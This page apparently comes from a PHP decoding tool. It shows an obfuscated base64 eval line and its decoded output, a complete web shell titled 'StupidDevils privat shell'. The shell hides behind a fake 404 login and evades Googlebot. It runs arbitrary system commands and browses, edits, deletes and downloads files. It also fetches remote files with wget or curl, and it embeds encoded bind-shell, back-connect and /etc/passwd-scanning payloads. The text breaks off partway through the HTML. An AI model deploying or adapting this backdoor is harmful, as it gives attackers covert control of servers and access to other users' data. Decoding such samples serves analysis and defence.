Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval("?>".base64_decode("PD9waHAgDQovKiAoYWhpYWloaWhpOiIgLSAiKSAqLyANCiRhdXRoX3Bhc..

Decoded Output download

?>b'<?php 
/* (ahiaihihi:" - ") */ 
$auth_pass = "eaeb1f08b30078f5574448f2e035cdad"; 
$color = "#00ff00"; 
$default_action = \'FilesMan\'; 
@define(\'SELF_PATH\', __FILE__); 
if( strpos($_SERVER[\'HTTP_USER_AGENT\'],\'Google\') !== false ) { 
    header(\'HTTP/1.0 404 Not Found\'); 
    exit; 
} 
@session_start(); 
@error_reporting(0); 
@ini_set(\'error_log\',NULL); 
@ini_set(\'log_errors\',0); 
@ini_set(\'max_execution_time\',0);
@ini_set(\'output_buffering\',0); 
@ini_set(\'display_errors\', 0);
@set_time_limit(0); 
@set_magic_quotes_runtime(0); 
@define(\'VERSION\', \'2.1\'); 
if( get_magic_quotes_gpc() ) { 
    function stripslashes_array($array) { 
        return is_array($array) ? array_map(\'stripslashes_array\', $array) : stripslashes($array); 
    } 
    $_POST = stripslashes_array($_POST); 
} 
function printLogin() { 
    ?> 
<h1>Not Found</h1> 
<p>The requested URL was not found on this server.</p> 
<hr> 
<address>Apache Server at <?=$_SERVER[\'HTTP_HOST\']?> Port 80</address> 
    <style> 
        input { margin:0;background-color:#fff;border:1px solid #fff; } 
    </style> 
    <center> 
    <form method=post> 
    <input type=password name=pass> 
    </form></center> 
    <?php 
    exit; 
} 
if( !isset( $_SESSION[md5($_SERVER[\'HTTP_HOST\'])] )) 
    if( empty( $auth_pass ) || 
        ( isset( $_POST[\'pass\'] ) && ( md5($_POST[\'pass\']) == $auth_pass ) ) ) 
        $_SESSION[md5($_SERVER[\'HTTP_HOST\'])] = true; 
    else 
        printLogin();
		@ini_set(\'output_buffering\',0); 
@ini_set(\'display_errors\', 0);
if(isset($_GET[\'dl\']) && ($_GET[\'dl\'] != "")){
	$file = $_GET[\'dl\'];
	$filez = @file_get_contents($file);
   header("Content-type: application/octet-stream"); 
   header("Content-length: ".strlen($filez)); 
   header("Content-disposition: attachment; filename=\"".basename($file)."\";");
   echo $filez; 
    exit; 
}
elseif(isset($_GET[\'dlgzip\']) && ($_GET[\'dlgzip\'] != "")){
	$file = $_GET[\'dlgzip\'];
	$filez = gzencode(@file_get_contents($file));
   header("Content-Type:application/x-gzip
"); 
   header("Content-length: ".strlen($filez)); 
   header("Content-disposition: attachment; filename=\"".basename($file).".gz\";");
   echo $filez; 
    exit; 
}
// view image
if(isset($_GET[\'img\'])){
		@ob_clean(); 
		$d = magicboom($_GET[\'y\']);
		$f = $_GET[\'img\'];
		$inf = @getimagesize($d.$f); 
   		$ext = explode($f,"."); 
   		$ext = $ext[count($ext)-1]; 
   	 	@header("Content-type: ".$inf["mime"]);
   	 	@header("Cache-control: public"); 
  		@header("Expires: ".date("r",mktime(0,0,0,1,1,2030))); 
  		@header("Cache-control: max-age=".(60*60*24*7));  
   	 	@readfile($d.$f); 
   	 	exit; 
}

// server software
$software = getenv("SERVER_SOFTWARE");
// check safemode
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")  $safemode = TRUE; else $safemode = FALSE;
// uname -a
$system = @php_uname();
// check os
if(strtolower(substr($system,0,3)) == "win") $win = TRUE;
else $win = FALSE; 
// change directory
if(isset($_GET[\'y\'])){
	if(@is_dir($_GET[\'view\'])){
		$pwd = $_GET[\'view\'];
		@chdir($pwd);
	}
	else{
		$pwd = $_GET[\'y\'];
		@chdir($pwd);
	}
}
// username, id, shell prompt and working directory
if(!$win){
	if(!$user = rapih(exe("whoami"))) $user = "";
	if(!$id = rapih(exe("id"))) $id = "";
	$prompt = $user." \$ ";
	$pwd = @getcwd().DIRECTORY_SEPARATOR;
}
else {
	$user = @get_current_user();
	$id = $user;
	$prompt = $user." &gt;";
	$pwd = realpath(".")."\";
	// find drive letters
 	$v = explode("\",$d); 
	$v = $v[0]; 
 	foreach (range("A","Z") as $letter) 
 	{ 
	  $bool = @is_dir($letter.":\");
	  if ($bool) 
	  { 
 		  $letters .= "<a href=\"?y=".$letter.":\\">[ ";
		   if ($letter.":" != $v) {$letters .= $letter;} 
		   else {$letters .= "<span class=\"gaya\">".$letter."</span>";} 
		   $letters .= " ]</a> "; 
  	  }	 
 } 
}
if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE;
else $posix = FALSE;
// server ip
$server_ip = @gethostbyname($_SERVER["HTTP_HOST"]);
// your ip ;-)
$my_ip = $_SERVER[\'REMOTE_ADDR\'];
$bindport = "13123";
$bindport_pass = "b374k";

// separate the working direcotory
$pwds = explode(DIRECTORY_SEPARATOR,$pwd);
$pwdurl = "";
for($i = 0 ; $i < sizeof($pwds)-1 ; $i++){
	$pathz = "";
	for($j = 0 ; $j <= $i ; $j++){
		$pathz .= $pwds[$j].DIRECTORY_SEPARATOR;
	}
	$pwdurl .= "<a href=\"?y=".$pathz."\">".$pwds[$i]." ".DIRECTORY_SEPARATOR." </a>";
}
	
// rename file or folder
if(isset($_POST[\'rename\'])){
	$old = $_POST[\'oldname\'];
	$new = $_POST[\'newname\'];
	@rename($pwd.$old,$pwd.$new);
	$file = $pwd.$new;
}



// print useful info
$buff  = $software."<br />";
$buff .= $system."<br />";
if($id != "") $buff .= $id."<br />";
$buff .= "server ip : ".$server_ip." <span class=\"gaya\">|</span> your   ip : ".$my_ip."<br />";
if($safemode) $buff .= "safemode <span class=\"gaya\">ON</span><br />";
else $buff .= "safemode <span class=\"gaya\">OFF<span><br />";
$buff .= $letters."&nbsp;&gt;&nbsp;".$pwdurl;




function rapih($text){
	return trim(str_replace("<br />","",$text));
}

function magicboom($text){
	if (!get_magic_quotes_gpc()) {
   		 return $text;
	} 
	return stripslashes($text);
}

function showdir($pwd,$prompt){
	$fname = array();
	$dname = array();
	if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE;
	else $posix = FALSE;
	$user = "????:????";
	if($dh = @scandir($pwd)){
		foreach($dh as $file){
			if(is_dir($file)){
				$dname[] = $file;
			}
			elseif(is_file($file)){
				$fname[] = $file;
			}
		}
	}
	else{
		if($dh = @opendir($pwd)){
			while($file = @readdir($dh)){
				if(@is_dir($file)){
					$dname[] = $file;
				}
				elseif(@is_file($file)){
					$fname[] = $file;
				}
			}
			@closedir($dh);
		}
	}

	
	sort($fname);
	sort($dname);
	$path = @explode(DIRECTORY_SEPARATOR,$pwd);
	$tree = @sizeof($path);
	$parent = "";
	$buff = "
	<form action=\"?y=".$pwd."&amp;x=shell\" method=\"post\" style=\"margin:8px 0 0 0;\">
	<table class=\"cmdbox\" style=\"width:50%;\">
	<tr><td>$prompt</td><td><input onMouseOver=\"this.focus();\" id=\"cmd\" class=\"inputz\" type=\"text\" name=\"cmd\" style=\"width:400px;\" value=\"\" /><input class=\"inputzbut\" type=\"submit\" value=\"Go !\" name=\"submitcmd\" style=\"width:80px;\" /></td></tr>
	</form>
	<form action=\"?\" method=\"get\" style=\"margin:8px 0 0 0;\">
	<input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
	<tr><td>view file/folder</td><td><input onMouseOver=\"this.focus();\" id=\"goto\" class=\"inputz\" type=\"text\" name=\"view\" style=\"width:400px;\" value=\"".$pwd."\" /><input class=\"inputzbut\" type=\"submit\" value=\"Go !\" name=\"submitcmd\" style=\"width:80px;\" /></td></tr>
	</form></table><table class=\"explore\">
	<tr><th>name</th><th style=\"width:80px;\">size</th><th style=\"width:210px;\">owner:group</th><th style=\"width:80px;\">perms</th><th style=\"width:110px;\">modified</th><th style=\"width:190px;\">actions</th></tr>
	";
	if($tree > 2) for($i=0;$i<$tree-2;$i++) $parent .= $path[$i].DIRECTORY_SEPARATOR;
	else $parent = $pwd;  

	foreach($dname as $folder){
		if($folder == ".") {
			if(!$win && $posix){
				$name=@posix_getpwuid(@fileowner($folder));
				$group=@posix_getgrgid(@filegroup($folder));
				$owner = $name[\'name\']."<span class=\"gaya\"> : </span>".$group[\'name\'];
			}
			else {
				$owner = $user;
			}
			$buff .= "<tr><td><a href=\"?y=".$pwd."\">$folder</a></td><td>LINK</td><td style=\"text-align:center;\">".$owner."</td><td>".get_perms($pwd)."</td><td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($pwd))."</td><td><span id=\"titik1\"><a href=\"?y=$pwd&amp;edit=".$pwd."newfile.php\">newfile</a> | <a href=\"javascript:tukar(\'titik1\',\'titik1_form\');\">newfolder</a></span>
			<form action=\"?\" method=\"get\" id=\"titik1_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
			<input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
			<input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" />
			<input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go !\" />
			</form></td></tr>
			";
		}
		elseif($folder == "..") {
			if(!$win && $posix){
				$name=@posix_getpwuid(@fileowner($folder));
				$group=@posix_getgrgid(@filegroup($folder));
				$owner = $name[\'name\']."<span class=\"gaya\"> : </span>".$group[\'name\'];
			}
			else {
				$owner = $user;
			}
			$buff .= "<tr><td><a href=\"?y=".$parent."\">$folder</a></td><td>LINK</td><td style=\"text-align:center;\">".$owner."</td><td>".get_perms($parent)."</td><td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($parent))."</td><td><span id=\"titik2\"><a href=\"?y=$pwd&amp;edit=".$parent."newfile.php\">newfile</a> | <a href=\"javascript:tukar(\'titik2\',\'titik2_form\');\">newfolder</a></span>
			<form action=\"?\" method=\"get\" id=\"titik2_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
			<input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
			<input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" />
			<input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go !\" />
			</form>
			</td></tr>";
		}
		else {
			if(!$win && $posix){
				$name=@posix_getpwuid(@fileowner($folder));
				$group=@posix_getgrgid(@filegroup($folder));
				$owner = $name[\'name\']."<span class=\"gaya\"> : </span>".$group[\'name\'];
			}
			else {
				$owner = $user;
			}
			$buff .= "<tr><td><a id=\"".clearspace($folder)."_link\" href=\"?y=".$pwd.$folder.DIRECTORY_SEPARATOR."\">[ $folder ]</a>
			<form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($folder)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
			<input type=\"hidden\" name=\"oldname\" value=\"".$folder."\" style=\"margin:0;padding:0;\" />
			<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$folder."\" />
			<input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
			<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar(\'".clearspace($folder)."_form\',\'".clearspace($folder)."_link\');\" />
			</form>
			<td>DIR</td><td style=\"text-align:center;\">".$owner."</td><td>".get_perms($pwd.$folder)."</td><td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($folder))."</td><td><a href=\"javascript:tukar(\'".clearspace($folder)."_link\',\'".clearspace($folder)."_form\');\">rename</a> | <a href=\"?y=$pwd&amp;fdelete=".$pwd.$folder."\">delete</a></td></tr>";
		}
	}

	foreach($fname as $file){
		$full = $pwd.$file;
		if(!$win && $posix){
			$name=@posix_getpwuid(@fileowner($folder));
			$group=@posix_getgrgid(@filegroup($folder));
			$owner = $name[\'name\']."<span class=\"gaya\"> : </span>".$group[\'name\'];
		}
		else {
			$owner = $user;
		}		
		$buff .= "<tr><td><a id=\"".clearspace($file)."_link\" href=\"?y=$pwd&amp;view=$full\">$file</a>
		<form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($file)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
		<input type=\"hidden\" name=\"oldname\" value=\"".$file."\" style=\"margin:0;padding:0;\" />
		<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$file."\" />
		<input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
		<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar(\'".clearspace($file)."_link\',\'".clearspace($file)."_form\');\" />
		</form>
		</td><td>".ukuran($full)."</td><td style=\"text-align:center;\">".$owner."</td><td>".get_perms($full)."</td><td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($full))."</td>
		<td><a href=\"?y=$pwd&amp;edit=$full\">edit</a> | <a href=\"javascript:tukar(\'".clearspace($file)."_link\',\'".clearspace($file)."_form\');\">rename</a> | <a href=\"?y=$pwd&amp;delete=$full\">delete</a> | <a href=\"?y=$pwd&amp;dl=$full\">download</a>&nbsp;(<a href=\"?y=$pwd&amp;dlgzip=$full\">gzip</a>)</td></tr>";
	}
	$buff .= "</table>";
	return $buff;
}

function ukuran($file){
	if($size = @filesize($file)){
		if($size <= 1024) return $size;
		else{
			if($size <= 1024*1024) {
				$size = @round($size / 1024,2);;
				return "$size kb";
			}
			else {
				$size = @round($size / 1024 / 1024,2);
				return "$size mb";	
			}
		}
	}
	else return "???";
}

function exe($cmd){
	if(function_exists(\'system\')) {
		@ob_start();
		@system($cmd);
		$buff = @ob_get_contents();
		@ob_end_clean();
		return $buff;
	}
	elseif(function_exists(\'exec\')) {
		@exec($cmd,$results);
		$buff = "";
		foreach($results as $result){
			$buff .= $result;
		}
		return $buff;
	}
	elseif(function_exists(\'passthru\')) {
		@ob_start();
		@passthru($cmd);
		$buff = @ob_get_contents();
		@ob_end_clean();
		return $buff;
	}
	elseif(function_exists(\'shell_exec\')){
		$buff = @shell_exec($cmd);
		return $buff;
	}
}

function tulis($file,$text){
	$textz = gzinflate(base64_decode($text));
	 if($filez = @fopen($file,"w"))
	 {
		 @fputs($filez,$textz);
		 @fclose($file);
	 }
}

function ambil($link,$file) { 
   if($fp = @fopen($link,"r")){
	   while(!feof($fp)) { 
   		    $cont.= @fread($fp,1024); 
   		} 
   		@fclose($fp); 
	   $fp2 = @fopen($file,"w"); 
	   @fwrite($fp2,$cont); 
	   @fclose($fp2); 
   }
}

function which($pr){
	$path = exe("which $pr");
	if(!empty($path)) { return trim($path); } else { return trim($pr); }
}

function download($cmd,$url){
	$namafile = basename($url);
	switch($cmd) {
		case \'wwget\': exe(which(\'wget\')." ".$url." -O ".$namafile);break;
		case \'wlynx\': exe(which(\'lynx\')." -source ".$url." > ".$namafile);break;
		case \'wfread\' : ambil($wurl,$namafile);break;
		case \'wfetch\' : exe(which(\'fetch\')." -o ".$namafile." -p ".$url);break;
		case \'wlinks\' : exe(which(\'links\')." -source ".$url." > ".$namafile);break;
		case \'wget\' : exe(which(\'GET\')." ".$url." > ".$namafile);break;
		case \'wcurl\' : exe(which(\'curl\')." ".$url." -o ".$namafile);break;
		default: break;
	}
	return $namafile;
}

function get_perms($file)
{
	if($mode=@fileperms($file)){
		$perms=\'\';
		$perms .= ($mode & 00400) ? \'r\' : \'-\';
		$perms .= ($mode & 00200) ? \'w\' : \'-\';
		$perms .= ($mode & 00100) ? \'x\' : \'-\';
		$perms .= ($mode & 00040) ? \'r\' : \'-\';
		$perms .= ($mode & 00020) ? \'w\' : \'-\';
		$perms .= ($mode & 00010) ? \'x\' : \'-\';
		$perms .= ($mode & 00004) ? \'r\' : \'-\';
		$perms .= ($mode & 00002) ? \'w\' : \'-\';
		$perms .= ($mode & 00001) ? \'x\' : \'-\';
		return $perms;
	}
	else return "??????????";
}

function clearspace($text){
	return str_replace(" ","_",$text);
}

// net tools
$port_bind_bd_c="bVNhb9owEP2OxH+4phI4NINAN00aYxJaW6maxqbSLxNDKDiXxiLYkW3KGOp/3zlOpo7xIY793jvf
+fl8KSQvdinCR2NTofr5p3br8hWmhXw6BQ9mYA8lmjO4UXyD9oSQaAV9AyFPCNRa+pRCWtgmQrJE
P/GIhufQg249brd4nmjo9RxBqyNAuwWOdvmyNAKJ+ywlBirhepctruOlW9MJdtzrkjTVKyFB41ZZ
dKTIWKb0hoUwmUAcwtFt6+m+EXKVJVtRHGAC07vV/ez2cfwvXSpticytkoYlVglX/fNiuAzDE6VL
3TfVrw4o2P1senPzsJrOfoRjl9cfhWjvIatzRvNvn7+s5o8Pt9OvURzWZV94dQgleag0C3wQVKug
Uq2FTFnjDzvxAXphx9cXQfxr6PcthLEo/8a8q8B9LgpkQ7oOgKMbvNeThHMsbSOO69IA0l05YpXk
HDT8HxrV0F4LizUWfE+M2SudfgiiYbONxiStebrgyIjfqDJG07AWiAzYBc9LivU3MVpGFV2x1J4W
tyxAnivYY8HVFsEqWF+/f7sBk2NRQKcDA/JtsE5MDm9EUG+MhcFqkpX0HmxGbqbkdBTMldaHRsUL
ZeoDeOSFBvpefCfXhflOpgTkvJ+jtKiR7vLohYKCqS2ZmMRj4Z5gQZfSiMbi6iqkdnHarEEXYuk6
uPtTdumsr0HC4q5rrzNifV7sC3ZWUmq+LVlVa5OfQjTanZYQO+Uf";
$port_bind_bd_pl="ZZJhT8IwEIa/k/AfjklgS2aA+BFmJDB1cW5kHSZGzTK2Qxpmu2wlYoD/bruBIfitd33uvXuvvWr1
NmXRW1DWy7HImo02ebRd19Kq1CIuV3BNtWGzQZeg342DhxcYwcCAHeCWCn1gDOEgi1yHhLYXzfwg
tNqKeut/yKJNiUB4skYhg3ZecMETnlmfKKrz4ofFX6h3RZJ3DUmUFaoTszO7jxzPDs0O8SdPEQkD
e/xs/gkYsN9DShG0ScwEJAXGAqGufmdq2hKFCnmu1IjvRkpH6hE/Cuw5scfTaWAOVE9pM5WMouM0
LSLK9HM3puMpNhp7r8ZFW54jg5wXx5YZLQUyKXVzwdUXZ+T3imYoV9ds7JqNOElQTjnxPc8kRrVo
vaW3c5paS16sjZo6qTEuQKU1UO/RSnFJGaagcFVbjUTCqeOZ2qijNLWzrD8PTe32X9oOgvM0bjGB
+hecfOQFlT4UcLSkmI1ceY3VrpKMy9dWUCVCBfTlQX6Owy8=";
$back_connect="fZFRS8MwFIXfB/sPWSw2hUrnqyPC0CpD3KStvqh0XRpcsE1KkoKF/XiTtCIV6tu55+Z89yY5W0St
ktGB8aihsprPWkVBKsgn1av5zCN1iQGsOv4Fbak6pWmNgU/JUQC4b3lRU3BR7OFqcFhptMOpo28j
S2whVulCflCNvXVy//K6fLdWI+SPcekMVpSlxIxTnRdacDSEAnA6gZJRBGMphbwC3uKNw8AhXEKZ
ja3ImclYagh61n9JKbTAhu7EobN3Qb4mjW/byr0BSnc3D3EWgqe7fLO1whp5miXx+tHMcNHpGURw
Tskvpd92+rxoKEdpdrvZhgBen/exUWf3nE214iT52+r/Cw3/5jaqhKL9iFFpuKPawILVNw==";
$back_connect_c="XVHbagIxEH0X/IdhhZLUWF1f1YKIBelFqfZJliUm2W7obiJJLLWl/94k29rWhyEzc+Z2TjpSserA
BYyt41JfldftVuc3d7R9q9mLcGeAEk5660sVAakc1FQqFBxqnhkBVlIDl95/3Wa43fpotyCABR95
zzpzYA7CaMq5yaUCK1VAYpup7XaYZpPE1NArIBmBRzgVtVYoJQMcR/jV3vKC1rI6wgSmN/niYb75
i+21cR4pnVYWUaclivcMM/xvRDjhysbHVwde0W+K0wzH9bt3YfRPingClVCnim7a/ZuJC0JTwf3A
RkD0fR+B9XJ2m683j/PpPYHFavW43CzzzWyFIfbIAhBiWinBHCo4AXSmFlxiuPB3E0/gXejiHMcY
jwcYguIAe2GMNijZ9jL4GYqTSB9AvEmHGjk/m19h1CGvPoHIY5A1Oh2tE3XIe1bxKw77YTyt6T2F
6f9wGEPxJliFkv5Oqr4tE5LYEnoyIfDwdHcXK1ilrfAdUbPPLw==";
//jum
$jumper="3VRdb9MwFH0Gif9wa1XY0UrTwQNSm6ZICCR4AIk9oW0KbuwshsSObIetTPx37k26bOOBH4CipNG559xzP5zqsnbAsij3jYaykSFsL1jZqr27uWB5Fj3eCkrXhE5aDL1ElG1APHv6ZB5a2IKxprjSUfAgK120TmmewHYLqwR2MLG4qyq+BmW0YO+8d34NZ3d8DH+2WRpVjg9PDyomR22mzM+pKGMrh+bnRXFqX78qo3EWMqpqYlzJg6SiJdReV1u+4zlbzm8+yVYvWZZKTE38HM5q3TRFcZmlaJDD307fxzzwEX8bWcMHq5zVwcgfPTwvXXfYAFsqGbXgX/kimlaLJFkyuDeDzYsExuws2ZBB0LEgZtGY1kSxQvTNvEO/a4X9V67TVvBUxzIdQb7gno9SU4GYHbkJ3NIQQbDzF5cwTBLW8Nb1yn6L8EVLBQ+S/NdD/T2crq7f4/yk9/IgEJz3QfvwCCmdrR4CpDIIrDZwXZtGi1mlXSXuBpzcwjxET0vBYx0mfFoFinM4Xa2I2DnyQjq+CJIt+Pq4taESi4UTod9jbCSsFqQ6cpTxv+jrSGvX6pQvJ9GSp9hZY8qijm2T8sld3OedoZBTvYSbUHjcPi1ZDGkpMPRcdH2oR1lYTOqxgIcE9FuMSpotXXNzckLvlcPUZQ3HJCDDOGd00PT3wc/fu94qmF0OWz+eFLY7bB/19bgnlv8jmA4Ha+9zTv67/A8=";
//confscan
$scanconfig="DQooJHNtID0gaW5pX2dldCgnc2FmZV9tb2RlJykgPT0gMCkgPyAkc20gPSAnb2ZmJzogZGllKCc8Zm9udCBzaXplPSI0IiBjb2xvcj0iIzAwMDAwMCIgZmFjZT0iQ2FsaWJyaSI+PGI+RXJyb3I6IFNhZmVfbW9kZSA9IE9uPC9iPjwvZm9udD4nKTsNCnNldF90aW1lX2xpbWl0KDApOw0KQCRwYXNzd2QgPSBmb3BlbignL2V0Yy9wYXNzd2QnLCdyJyk7DQppZiAoISRwYXNzd2QpIHsgZGllKCc8Zm9udCBzaXplPSI0IiBjb2xvcj0iIzAwMDAwMCIgZmFjZT0iQ2FsaWJyaSI+PGI+Wy1dIEVycm9yIDogQ291ZG5gdCBSZWFkIC9ldGMvcGFzc3dkPC9iPjwvZm9udD4nKTsgfQ0KJHB1YiA9IGFycmF5KCk7DQokdXNlcnMgPSBhcnJheSgpOw0KJGNvbmYgPSBhcnJheSgpOw0KJGkgPSAwOw0Kd2hpbGUoIWZlb2YoJHBhc3N3ZCkpDQp7DQokc3RyID0gZmdldHMoJHBhc3N3ZCk7DQppZiAoJGkgPiAxMDApDQp7DQogICRwb3MgPSBzdHJwb3MoJHN0ciwnOicpOw0KICAgJHVzZXJuYW1lID0gc3Vic3RyKCRzdHIsMCwkcG9zKTsNCiAgJGRpcnogPSAnL2hvbWUvJy4kdXNlcm5hbWUuJy9wdWJsaWNfaHRtbC8nOw0KICBpZiAoKCR1c2VybmFtZSAhPSAnJykpDQogIHsNCiAgIGlmIChpc19yZWFkYWJsZSgkZGlyeikpDQogICB7DQogICAgYXJyYXlfcHVzaCgkdXNlcnMsJHVzZXJuYW1lKTsNCiAgICBhcnJheV9wdXNoKCRwdWIsJGRpcnopOw0KICAgfQ0KICB9DQogICB9DQokaSsrOw0KfQ0KZWNobyAnPHA+DQo8Zm9udCBzaXplPSI1IiBjb2xvcj0iIzAwODA4MCIgZmFjZT0iQ2FsaWJyaSI+DQpTZXJ2ZXIgSnVtcGluZyBGaW5kZXIgVmVyc2lvbiAzLjAgPGJyPjwvZm9udD4NCjxmb250IHNpemU9IjMiIGNvbG9yPSIjODAwMDAwIiBmYWNlPSJDYWxpYnJpIj4NCkNyZWF0ZWQgYnkgdXphbmMgfCAyMDExIC0gVGFuZ2VyYW5nIC0gSW5kb25lc2lhDQo8L2ZvbnQ+DQo8L3A+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDgwODAiIGZhY2U9IkNhbGlicmkiPlsrXT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PVsgU1RBUlQgXT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PVsrXSA8YnI+PC9mb250Pg0KJzsNCmZvcmVhY2ggKCR1c2VycyBhcyAkdXNlcikNCnsNCmVjaG8gIjx0YWJsZSB3aXRoPSczMCUnPjx0cj48dGQ+PGZvbnQgc2l6ZT0nMycgY29sb3I9JyNlZTA4MDgnIGZhY2U9J0NhbGlicmknPiBbK10gL2hvbWUvJHVzZXIvcHVibGljX2h0bWwvPC9mb250Pjxici8+PC90ZD48L3RyPjwvdGFibGU+IjsNCn0NCmVjaG8gIlxuIDxmb250IHNpemU9JzMnIGNvbG9yPScjMDA4MDgwJyBmYWNlPSdDYWxpYnJpJz4gWytdPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09WyBGSU5JU0ggXT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PVsrXSA8YnI+PC9mb250PlxuIjsNCmVjaG8gIlxuIDxmb250IHNpemU9JzInIGNvbG9yPScjODAwMDAwJyBmYWNlPSdDYWxpYnJpJz5bK10gU2Nhbm5lcnMgaGF2ZSBiZWVuIGNvbXBsZXRlZCB8IFRoYW5rIHlvdSBmb3IgdXNpbmcgdGhpcyB0b29scyBbK108L2ZvbnQ+XG4iOw0K";

?>
<html><head><title>=[ StupidDevils privat shell ]=</title>
<script type="text/javascript">
function tukar(lama,baru){
	document.getElementById(lama).style.display = \'none\';
	document.getElementById(baru).style.display = \'block\';
}
</script>
<style type="text/css">
body{
	background:#000000;;
}
a {
text-decoration:none;
}
a:hover{
border-bottom:1px solid #FF0000;
}
*{
	font-size:11px;
	font-family:Tahoma,Verdana,Arial;
	color:#FF0000;
}
#menu{
	background:#111111;
	margin:8px 2px 4px 2px;
}
#menu a{
	padding:4px 18px;
	margin:0;
	background:#222222;
	text-decoration:none;
	letter-spacing:2px;
}
#menu a:hover{
	background:#191919;
	border-bottom:1px solid #333333;
	border-top:1px solid #333333;
}
.tabnet{
	margin:15px auto 0 auto;
	border: 1px solid #333333;
}
.main {
	width:100%;
}
.gaya {
	color: #FF0000;
}
.inputz{
	background:#111111;
	border:0;
	padding:2px;
	border-bottom:1px solid #222222;
	border-top:1px solid #222222;
}
.inputzbut{
	background:#111111;
	color:#FF0000;
	margin:0 4px;
	border:1px solid #444444;

}
.inputz:hover, .inputzbut:hover{
	border-bottom:1px solid #FF0000;
	border-top:1px solid #FF0000;
}
.output {
	margin:auto;
	border:1px solid #FF0000;
	width:100%;
	height:400px;
	background:#000000;
	padding:0 2px;
}
.cmdbox{
	width:100%;
}
.head_info{
	padding: 0 4px;
}
.b374k{
	font-size:30px;
	padding:0;
	color:#444444;
}
.b374k1{
	font-size:30px;
	padding:0;
	color: #333333;
}
.b374k_tbl{
	text-align:center;
	margin:0 4px 0 0;
	padding:0 4px 0 0;
	border-right:1px solid #333333;
}
.phpinfo table{
	width:100%;
	padding:0 0 0 0;
}
.phpinfo td{
	background:#111111;
	color:#cccccc;
padding:6px 8px;;
}
.phpinfo th, th{
	background:#191919;
	border-bottom:1px solid #333333;
font-weight:normal;
}
.phpinfo h2, .phpinfo h2 a{
	text-align:center;
	font-size:16px;
	padding:0;
	margin:30px 0 0 0;
	background:#222222;
	padding:4px 0;
}
.explore{
width:100%;
}
.explore a {
text-decoration:none;
}
.explore td{
border-bottom:1px solid #333333;
padding:0 8px;
line-height:24px;
}
.explore th{
padding:3px 8px;
font-weight:normal;
}
.explore th:hover , .phpinfo th:hover{
border-bottom:1px solid #FF0000;
}
.explore tr:hover{
background:#111111;
}
.viewfile{
background:#EDECEB;
color:#000000;
margin:4px 2px;
padding:8px;
}
.sembunyi{
display:none;
padding:0;margin:0;
}

</style>
</head>
<script language=\'javascript\'>
if (document.all||document.getElementById){
var thetitle=document.title
document.title=\'\'
}
var data="Us3 Y0ur br41n biTch ! ! !";
var done=1;
function statusIn(text){
decrypt(text,22,22);
}
function statusOut(){
self.status=\'\';
done=1;
}
function decrypt(text, max, delay){
if (done){
done = 0;
rantit(text, max, delay, 0, max);
} 
}
function rantit(text, runs_left, delay, charvar, max){
if (!done){
runs_left = runs_left - 1;
var status = text.substring(0,charvar);
for(var current_char = charvar; current_char < text.length; current_char++){
status += data.charAt(Math.round(Math.random()*data.length));
}
document.title = status;
var rerun = "rantit(\'" + text + "\'," + runs_left + "," + delay + "," + charvar + "," + max + ");"
var new_char = charvar + 1;
var next_char = "rantit(\'" + text + "\'," + max + "," + delay + "," + new_char + "," + max + ");"
if(runs_left > 0){
setTimeout(rerun, delay);
}
else{
if (charvar < text.length){
setTimeout(next_char, Math.round(delay*(charvar+3)/(charvar+1)));
}
else
{
done = 1;
}
}
}
}
if (document.all||document.getElementById)
statusIn(thetitle)
</script>
<body onLoad="document.getElementById(\'cmd\').focus();">
<div class="main">
<!-- head info start here -->
<div class="head_info">
<table><tr>
<td><table class="b374k_tbl"><tr><td><a href="?"><span class="b374k">Stu<span class="b374k1">pid</span>Devils</span></a></td></tr><tr><td>Shell V.1.1</td></tr></table></td>
<td><?php echo $buff; ?></td>
</tr></table>
</div>
<!-- head info end here -->
<!-- menu start -->
<div id="menu"><h3 style="text-align:center">
<a href="?<?php echo "y=".$pwd; ?>">Home</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=jumping">jumping</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=shell">Shell</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=php">Eval</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=ms">Mysql</a>
<a href="?<?php echo "y=".$pwd; ?>&amp;x=phpinfo">Php Info</a>
